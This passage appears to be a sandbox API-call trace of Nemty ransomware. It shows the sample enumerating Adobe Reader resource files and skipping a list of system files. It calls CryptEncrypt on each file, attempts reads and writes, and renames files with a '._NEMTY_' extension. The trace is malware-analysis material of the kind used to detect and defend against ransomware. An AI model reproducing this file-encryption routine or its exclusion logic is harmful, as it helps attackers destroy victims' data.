lpMultiByteStr="HKdla-B5-V", lpUsedDefaultChar=0x0) returned 10 [0207.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0207.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0207.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0207.266] Sleep (dwMilliseconds=0x5) [0207.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2f2ee0f0, dwHighDateTime=0x1d561e8)) [0207.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2f2ee0f0, dwHighDateTime=0x1d561e8)) [0207.275] GetLastError () returned 0x5 [0207.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0207.275] GetLastError () returned 0x5 [0207.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0207.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0207.275] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0207.275] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0207.276] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0207.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0207.276] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="XeHjzIUOWCRdNW1NfNbyjQRC3FN+4vcJSO6eanNnnhwljpgkwOn48iS9rRW2TIXA\r\nSzcWbZ1+jTDjWlcOXpb9ryy4MjARGuZKnyFwZkATWagWjeaNKOhJsdYCrnqh3BEV\r\n6jXG7amCgc68rNs/hQ9znL94X0bMBlknF74an4rVjXoZ4o+9361lk8VZ1V3qODUG\r\nANdSAJSm25Rzgv0OEJGoVIfIxjYkfy+kuRj0H5s62tRylrbSay5xPNYF4XiYzeMT\r\nRsC5iH9xDE9gDATv0tpTLUuX8UjQXOOEzbZ0Plr0/rNYOH+iOjBU4/f07otu/8Br\r\nPPUpwiWKZzu/VsvXnmPhNw==\r\n", pcchString=0x653e91c) returned 1 [0207.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0207.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0207.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0207.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0207.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0207.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0207.276] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdla-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0207.277] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0207.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0207.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.277] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.286] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.295] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.296] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.305] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.315] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.315] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.324] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.324] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.334] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.334] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.343] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.343] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.352] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.353] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.362] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.362] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.377] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.377] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0207.383] CloseHandle (hObject=0xffffffff) returned 0 [0207.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0207.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0207.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0207.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0207.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0207.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0207.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0207.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0207.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0207.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0207.384] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdla-b5-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdla-b5-v._nemty_kgobjgd_")) returned 0 [0207.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0207.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0207.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0207.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0207.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0207.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0207.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0207.384] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x55fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdlb-B5-H", cAlternateFileName="HKDLB-~1")) returned 1 [0207.384] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2=".") returned 1 [0207.384] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="..") returned 1 [0207.384] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="...") returned 1 [0207.384] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="windows") returned -1 [0207.384] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="$RECYCLE.BIN") returned 1 [0207.384] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="rsa") returned -1 [0207.384] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="NTDETECT.COM") returned -1 [0207.384] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="ntldr") returned -1 [0207.384] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="MSDOS.SYS") returned -1 [0207.384] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="IO.SYS") returned -1 [0207.384] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="boot.ini") returned 1 [0207.384] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="boot.ini") returned 1 [0207.384] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="AUTOEXEC.BAT") returned 1 [0207.384] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="ntuser.dat") returned -1 [0207.384] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="desktop.ini") returned 1 [0207.385] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="CONFIG.SYS") returned 1 [0207.385] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="RECYCLER") returned -1 [0207.385] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="BOOTSECT.BAK") returned 1 [0207.385] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="bootmgr") returned 1 [0207.385] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="programdata") returned -1 [0207.385] lstrcmpiW (lpString1="HKdlb-B5-H", lpString2="appdata") returned 1 [0207.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdlb-B5-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0207.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdlb-B5-H", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKdlb-B5-H", lpUsedDefaultChar=0x0) returned 10 [0207.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0207.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdlb-B5-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0207.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdlb-B5-H", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKdlb-B5-H", lpUsedDefaultChar=0x0) returned 10 [0207.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0207.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdlb-B5-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0207.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdlb-B5-H", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKdlb-B5-H", lpUsedDefaultChar=0x0) returned 10 [0207.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdlb-B5-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0207.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKdlb-B5-H", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKdlb-B5-H", lpUsedDefaultChar=0x0) returned 10 [0207.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0207.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0207.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0207.385] Sleep (dwMilliseconds=0x5) [0207.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2f41ebf0, dwHighDateTime=0x1d561e8)) [0207.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2f41ebf0, dwHighDateTime=0x1d561e8)) [0207.400] GetLastError () returned 0x5 [0207.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0207.400] GetLastError () returned 0x5 [0207.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0207.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0207.400] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0207.400] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0207.400] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0207.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0207.400] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="ZgmuJbi5TdWoomVPcczC2NxJzl6uET9YsrRmx3cQAjyqg0sOky9syE9lau8wZwDS\r\n6l6aIy4fZXIbkpnM2pma64ni6+nnAYTf88ORQJN2FuZs1776I2jeowvt3XNcKBnm\r\npnlqkV/lFCBss1J0+FQ9zeAwkJtZhNbL4FuEMCNSDcNimNp0tseC1ahQP/Na5tk9\r\nJnoYQIZqs4rl4e2z8mBsTeMusKWCXIlQOohg0JpIiVhlu/mo5Ky3iHBER2x5IVKK\r\npGqxNLIZWSqrfvEN5TivqCyYP6fEpvXGlLdEOScj6JT8q75ckE08tQpcS6hUPJXA\r\nUJ+9MpxQExyXfAA8aR910w==\r\n", pcchString=0x653e91c) returned 1 [0207.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0207.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0207.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0207.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) 